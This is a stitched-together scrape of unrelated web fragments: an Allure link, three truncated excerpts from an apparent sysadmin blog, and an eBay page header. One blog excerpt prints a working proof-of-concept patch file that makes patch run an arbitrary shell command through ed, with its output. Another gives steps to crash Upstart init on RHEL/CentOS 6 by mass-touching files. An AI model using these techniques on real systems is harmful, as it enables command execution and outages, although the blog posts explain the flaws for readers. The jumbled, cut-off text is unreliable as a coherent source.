do you think www.aws.org runs on aws?
For those inter st in the finest writing of all time https://www-allure-com.cdn.ampproject.org/v/s/www.allure.com/story/best-sex-tip-by-zodiac-sign/amp?amp_gsa=1&_js_v=a6&usqp=mq331AQKKAFQArABIIACAw%3D%3D#amp_tf=From%20%251%24s&aoh=16392879347932&referrer=https%3A%2F%2Fwww.google.com&share=https%3A%2F%2Fwww.allure.com%2Fstory%2Fbest-sex-tip-by-zodiac-sign
Writing Software, technology, sysadmin war stories, and more. Thursday, April 5, 2018 Okay, this is kind of awesome, if you like watching the world burn. The short version is: patch runs ed... and ed can run arbitrary commands, including when it's called from patch. Check this out. I've taken the proof of concept and changed it slightly: $ cat evil.patch --- /dev/null 2018-13-37 13:37:37.000000000 +0100 +++ b/beep.c 2018-13-37 13:38:38.000000000 +0100 1337a 1,112d !touch /tmp/0wned; ls -la /tmp/0wned . $ patch < evil.patch ? ? -rw-r--r-- 1 edu users 0 Apr 5 10:42 /tmp/0wned ? patch: **** /u...
Writing Software, technology, sysadmin war stories, and more. Monday, November 24, 2014 init is a pretty big deal on a Linux box. If you manage to kill it, the machine panics. Everything stops, and if you're lucky, it reboots by itself a few seconds or minutes later. Naturally, you'd like it to be stable and robust so that your machine doesn't go down. What if I told you I found a way to kill the "Upstart" init in RHEL and CentOS 6 with just a bunch of "touch" commands? Yep, it's true. You can even reproduce it in qemu. In fact, I had to do it in there in order to get these screenshots. Step 1: Create a new directory under /etc/init. I called mine "kill.the.box". Step 2: Fill that path with a few hundred or thousand files. I used 'touch $(seq 1 1000)' but do it however you like. Step 3: Kick off a bunch of changes to those files in parallel. As you can see her...
Writing Software, technology, sysadmin war stories, and more. Tuesday, August 19, 2014 Ah, fork(). The way processes make more processes. Well, one of them, anyway. It seems I have another story to tell about it. It can fail. Got that? Are you taking this seriously? You should. fork can fail. Just like malloc, it can fail. Neither of them fail often, but when they do, you can't just ignore it. You have to do something intelligent about it. People seem to know that fork will return 0 if you're the child and some positive number if you're the parent -- that number is the child's pid. They sock this number away and then use it later. Guess what happens when you don't test for failure? Yep, that's right, you probably treat "-1" (fork's error result) as a pid. That's the beginning of the pain. The true pain comes later when it's time to send a signal. Maybe you w...
<![endif] [if lt IE 9]> <link rel="stylesheet" type="text/css" href="http://gh.ebaystatic.com/header/css/glb.ielt9?combo=11&ds=3&siteid=0&rvr=1.0.0&h=22438"><![endif] Skip to main content eBay Shop by category Enter your search keyword All Categories Advanced register...